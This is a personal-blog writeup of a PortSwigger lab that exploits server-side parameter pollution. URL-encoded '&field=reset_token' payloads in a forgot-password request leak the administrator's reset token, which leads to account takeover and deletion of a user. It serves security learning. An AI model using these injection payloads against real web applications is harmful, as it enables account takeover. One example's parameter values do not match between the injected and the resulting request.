siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Exploiting server-side parameter pollution in a query string | May 10, 2024

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting server-side parameter pollution in a query string! Without further ado, let’s dive in.

Background

To solve the lab, log in as the administrator and delete carlos.

Enumeration

Login page:

In here, we can login as an user by entering the username and password field and click the “Log in” button. We can also go to the “Forgot password?” link to reset an account’s password:

We can try to enter a random username and click the “Submit” button:

Burp Suite HTTP history:

When we clicked the “Submit” button, it’ll send a POST request to /forgot-password with parameter csrf and username.

Now, what if we enter a valid username, like administrator?

Hmm… Looks like it’ll send an email to the account’s email address.

In the /forgot-password page, it also loaded a JavaScript file:

<script src="/static/js/forgotPassword.js"></script>

/static/js/forgotPassword.js:

let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}
[...]
forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

When the DOM (Document Object Model) has fully loaded, it’ll retrieve our GET parameter reset-token’s value. If that parameter’s value exist, it’ll redirect us to /forgot-password?reset_token=<resetToken>.

If we try to send a GET request with an invalid reset token at /forgot-password?reset_token=<resetToken>, it’ll response “Invalid token”:

Hmm… I wonder how the reset token checking works

It could be retrieve the token and validate it with a SQL query. Or, using an internal API to validate the token. Let’s try to test the latter.

Exploitation

Some systems contain internal APIs that aren’t directly accessible from the internet. Server-side parameter pollution occurs when a website embeds user input in a server-side request to an internal API without adequate encoding. This means that an attacker may be able to manipulate or inject parameters, which may enable them to, for example:

We can test any user input for any kind of parameter pollution. For example, query parameters, form fields, headers, and URL path parameters may all be vulnerable.

In our case, we want to test the reset_token parameter is whether vulnerable to server-side parameter pollution or not.

To test for server-side parameter pollution in the query string, place query syntax characters like #, &, and = in our input and observe how the application responds.

We can try to make an education guess about how our reset_token parameter is being parsed.

When we try to reset an account’s password, our browser sends the following request:

GET /forgot-password?reset_token=0123456789abcdef

To validate the reset_token, the server queries an internal API with the following request:

GET /api/resetPassword?reset_token=0123456789abcdef&username=wiener

We can use a URL-encoded # character to attempt to truncate the server-side request. To help us interpret the response, we could also add a string after the # character.

For example, we could modify the query string to the following:

GET /forgot-password?reset_token=0123456789abcdef%23foo

The front-end will try to access the following URL:

GET /api/resetPassword?reset_token=0123456789abcdef#foo&username=wiener

Note

It’s essential that we URL-encode the # character. Otherwise the front-end application will interpret it as a fragment identifier and it won’t be passed to the internal API.

We can use an URL-encoded & character to attempt to add a second parameter to the server-side request.

For example, we could modify the query string to the following:

GET /forgot-password?reset_token=0123456789abcdef%26foo=xyz

This results in the following server-side request to the internal API:

GET /api/resetPassword?reset_token=0123456789abcdef&foo=xyz&username=wiener

If we’re able to modify the query string, we can then attempt to add a second valid parameter to the server-side request.

For example, if we’ve identified the email parameter, we could add it to the query string as follows:

GET /forgot-password?reset_token=0123456789abcdef%26email=foo

This results in the following server-side request to the internal API:

GET /api/resetPassword?reset_token=0123456789abcdef&email=foo&username=wiener

To confirm whether the application is vulnerable to server-side parameter pollution, we could try to override the original parameter. Do this by injecting a second parameter with the same name.

For example, we could modify the query string to the following:

GET /forgot-password?reset_token=0123456789abcdef%26username=peter

This results in the following server-side request to the internal API:

GET /api/resetPassword?reset_token=0123456789abcdef&username=carlos&username=wiener

The internal API interprets two username parameters. The impact of this depends on how the application processes the second parameter. This varies across different web technologies. For example:

If we’re able to override the original parameter, you may be able to conduct an exploit. For example, we could add name=administrator to the request. This may enable you to log in as the administrator user.

After some trials and errors, I found that the reset_token doesn’t have any changes when I did the above testing.

Instead, the POST request to /forgot-password has some changes.

Normal response:

After truncating query strings via #:

Hmm… Field not specified.??

That being said, when we send this POST request:

POST /forgot-password HTTP/2

csrf=ggIz6CxBvVugiFQkf34MG3MC6Zcvj8AG&username=foobar%23

The server-side request to the internal API might be this:

GET /api/user?username=foobar#&otherparameter=blah

That being said, the username parameter is parsed to the internal API.

Also, by injecting invalid parameters, we can get error Parameter is not supported.:

POST /forgot-password HTTP/2

csrf=ggIz6CxBvVugiFQkf34MG3MC6Zcvj8AG&username=foobar%26foo=xyz

Which means the internal API interpreted &foo=xyz as a separate parameter.

After fumbling around, I found that the field is a parameter name! This parameter’s value may refer to other parameter name.

Let’s try username:

POST /forgot-password HTTP/2

csrf=ggIz6CxBvVugiFQkf34MG3MC6Zcvj8AG&username=administrator%26field=username

Ah ha! I started to understand this! The field in the internal API means return a specific object’s attribute (field)’s value!

In our case, we injected the field to be username and caused the internal API returned the user’s object attribute username’s value!

Hmm… Did you recall the reset_token parameter name?

What if the internal API return user administrator’s reset token??

POST /forgot-password HTTP/2

csrf=ggIz6CxBvVugiFQkf34MG3MC6Zcvj8AG&username=administrator%26field=reset_token

Let’s go!!! We got user administrator’s reset token (qb7tt2w2b1ooq4xrlxlpopbwwby0dgb4)!!

Finally, we can send a GET request to /forgot-password with parameter reset_token=qb7tt2w2b1ooq4xrlxlpopbwwby0dgb4:

GET /forgot-password?reset_token=qb7tt2w2b1ooq4xrlxlpopbwwby0dgb4 HTTP/2

Nice! We can now reset administrator’s password!

Then login as administrator:

We’re in! Let’s go to the “Admin panel” and delete user carlos:

Conclusion

What we’ve learned:

  1. Exploiting server-side parameter pollution in a query string